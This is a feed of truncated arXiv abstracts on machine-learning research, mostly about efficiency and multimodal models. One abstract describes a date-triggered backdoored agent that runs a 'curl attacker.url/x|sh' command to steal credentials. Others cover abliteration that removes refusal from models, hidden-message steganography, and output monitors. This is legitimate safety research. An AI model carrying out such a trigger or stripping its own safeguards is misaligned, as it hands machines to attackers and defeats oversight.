arXiv:2611.10756v1 Announce Type: new Abstract: Large Language Models (LLMs) are increasingly deployed as shared multi-tenant services, relying on advanced optimizations like KV cache and prefix sharing to improve throughput and reduce latency. However, these optimizations intro…
⏱ Độ trễ thật của tab này: trung bình 7.2 giờ sau khi CVE được công bố (n = 5386, sớm nhất 0.1 giờ). Số âm nghĩa là ta thấy trước ngày công bố.
Weight-space programming, introduced in recent MIT work by Takehi et al., enables a frontier LLM agent to read a network's weights and write a repair. Their GPT-6 Astra agent corrected the reasoning loops of Qwen3.5-0.8B without gradients, using 158 agent turns, 89.7 million toke…
arXiv:2611.11308v1 Announce Type: new Abstract: Agent skills package reusable workflows and task-specific procedures into deployable natural-language artifacts for LLM agents. Their scale and readability make them valuable but vulnerable to unauthorized redistribution and repack…
arXiv:2611.14781v1 Announce Type: new Abstract: Agents that perform state estimation using pretrained perception models, e.g., Vision-Language Models (VLMs), face the fundamental challenge that predictions are uncertain. Still, most approaches determinize these predictions into …
arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with p…
Frontier video generation models work in a VAE latent space that compresses video in both space and time. This compression made training tractable, but now limits high-resolution, controllable, and interactive generation -- doubling resolution quadruples token count, conditions a…
Standard coding-agent benchmarks primarily evaluate binary task success, treating execution as a black box and obscuring the behaviors that produce those outcomes. We analyze a large corpus of 143,209 execution trajectories from 125 agent configurations spanning 117 unique models…
arXiv:2611.17339v1 Announce Type: new Abstract: Hallucination detection for large language models is dominated by methods evaluated on 7B-70B research models with abundant sampling budgets and exact-match or ROUGE correctness labels. The small models practitioners actually ship …
arXiv:2611.17846v1 Announce Type: new Abstract: Abliteration, a fine-tuning-free weight edit, removes refusal from open-weight large language models (LLMs). The developer of Arbitrary-Rank Ablation (ARA), an optimisation-based variant, reports that direction-based abliteration, …
arXiv:2611.14794v1 Announce Type: new Abstract: Proof-step verification rewrites a solver's answer into typed steps and uses LLM judges to certify or decline. We evaluate this pipeline on open-weight models across GPQA, AIME-2025, and a MATH-500 subset. Certification raises answ…
arXiv:2611.14844v1 Announce Type: new Abstract: Many advances in ML systems came from breaking an assumption that earlier methods took for granted: speculative decoding dropped the assumption that a model needs one forward pass per token. Yet algorithms rarely state their assump…
arXiv:2611.14924v1 Announce Type: new Abstract: Deployment of retrieval-augmented generation (RAG) for Edge-AI is constrained by memory and bandwidth limitations. A standard 7B parameter model consumes 14 GB Video Random Access Memory (VRAM) in half-precision (FP16), precluding …
arXiv:2611.15238v1 Announce Type: new Abstract: Discrete diffusion generation is emerging as a competitive alternative to autoregressive generation by denoising the entire token sequence through iterative refinement. Its global planning and progressive correction capabilities ar…
arXiv:2611.16890v1 Announce Type: new Abstract: Attributing short LLM-generated texts to a specific source remains challenging for existing multi-bit watermarking methods, which often require long generations or costly decoding to recover payloads reliably. We propose a codebook…
arXiv:2611.10165v1 Announce Type: new Abstract: Existing LLM post-training quantization techniques determine precision before inference begins, yet the precision a model requires varies dynamically across prompts, layers, and inference phases. We present AutoEMatic, a full-stack…
arXiv:2611.10265v1 Announce Type: new Abstract: LLMs are increasingly used to support decisions that require moral consideration. While LLMs perform well on morality benchmarks from psychology and philosophy, producing appropriate outputs on these benchmarks (moral performance) …
Speculative decoding accelerates generation by letting a lightweight drafter propose tokens for parallel verification by a target model. Diffusion drafters such as DFlash propose an entire token block in a single forward pass, but mainly focus on text-only tasks, leaving multimod…
Direct diffusion modeling of high-dimensional raw video data is challenging, and existing pixel-space methods often rely on specialized architectures. We introduce JVT (Just Video Transformer), a simple large-patch DiT-style Transformer for pixel-space video diffusion, without a …
arXiv:2611.15302v1 Announce Type: new Abstract: Security decisions about a web page are best made where the page is: in the browser, before anything leaves the machine. We present the Browser Immune System (BIS), a browser extension that screens navigation with a cybersecurity t…
arXiv:2611.16928v1 Announce Type: new Abstract: Provably secure linguistic steganography hides a message inside text sampled from a language model, so that without the key, a stegotext is computationally indistinguishable from an honest model sample. Nearly every such scheme ass…
System One models promise fast, general-purpose decision-making without lengthy token generation. However, understanding their capability spectrum and decision reliability requires more than aggregate performance on current benchmarks. Existing evaluations often provide limited i…
We present UniSpark-9B, a unified multimodal model that investigates hybrid attention for visual understanding and generation. Built on a Mixture-of-Transformer-Experts backbone with approximately 9B parameters in each branch, UniSpark combines full attention for explicit token i…
Existing adaptive-reasoning methods shorten the explicit reasoning a model writes, or skip it by switching modes; either way the answer is still written out token by token. Rather than deciding how much to think, we explore a different paradigm, zero-or-T thinking: a single model…
arXiv:2611.14083v1 Announce Type: new Abstract: We present Sable, an argument system and single-GPU prover for the statement that a committed, integer-quantized transformer produced a given token sequence from a given prompt, bit for bit. Sable fixes an integer function F_O with…
Generalist manipulation policies can benefit from the complementary experience of humans, real robots, and simulated agents. However, differences in morphology, sensing, and control interfaces make it difficult to learn effectively from their combined demonstrations. We introduce…
arXiv:2611.12935v1 Announce Type: new Abstract: Topic monitoring is the task of labelling the topic of each token in a model's response during generation. Activation-based monitors that run at generation time have so far been trained to detect harmful content and are limited to …
arXiv:2611.13017v1 Announce Type: new Abstract: Block drafters such as DFlash draft a block of future tokens in one forward pass, and draft trees such as DDTree verify the prefixes ranked highest by the product of the drafter's per-position distributions. Under tree verification…
arXiv:2611.13030v1 Announce Type: new Abstract: Vision-language-action (VLA) policies have demonstrated strong generalization in robotic manipulation, yet processing dense visual tokens often incurs high inference latency. Visual token pruning offers a practical way to reduce th…
arXiv:2611.13342v1 Announce Type: new Abstract: Web3 platforms that help users discover and trade newly launched crypto tokens, including launchpads, decentralized-exchange (DEX) interfaces, wallets, and token-analytics sites, must assess tokens before their legitimacy is clear.…
Foundation models trained on large unlabeled corpora develop emergent capabilities, tasks that go beyond the training objective. We extend this paradigm to multimodal biology with Bonbon, a foundation model for molecular interactions trained on approximately 3.2 trillion tokens o…
arXiv:2611.10238v1 Announce Type: new Abstract: Context selection can reduce input length during long-input inference but can remove evidence required to answer a query. We introduce CoRA-Bench, a benchmark for evaluating evidence preservation under shared token budgets. We comp…
arXiv:2611.10432v1 Announce Type: new Abstract: Speculative decoding efficiency depends on the number of consecutively accepted draft tokens, yet token-level training objectives do not directly optimize this quantity. We introduce D-REAL (Drafter Reinforcement of Expected Accept…
RLVR trains language models to reason by rewarding correct final answers. A widely used algorithm, group-relative policy optimization (GRPO), gives every token of a solution the same credit, so dense process rewards have been proposed to credit intermediate steps, for example wit…
Local decoding usually fixes one weight precision for the whole generation. We study a different allocation: store 8-bit weights, decode with their top 4 bits, and redo a step at 8 bits only when the low-precision output distribution looks uncertain (entropy above a threshold or …
Automated segmentation in multi-view echocardiography is essential for comprehensive cardiac assessment, yet remains challenging due to substantial anatomical and appearance variability across standard acoustic windows. In this paper, we present P2Echo, a unified framework capabl…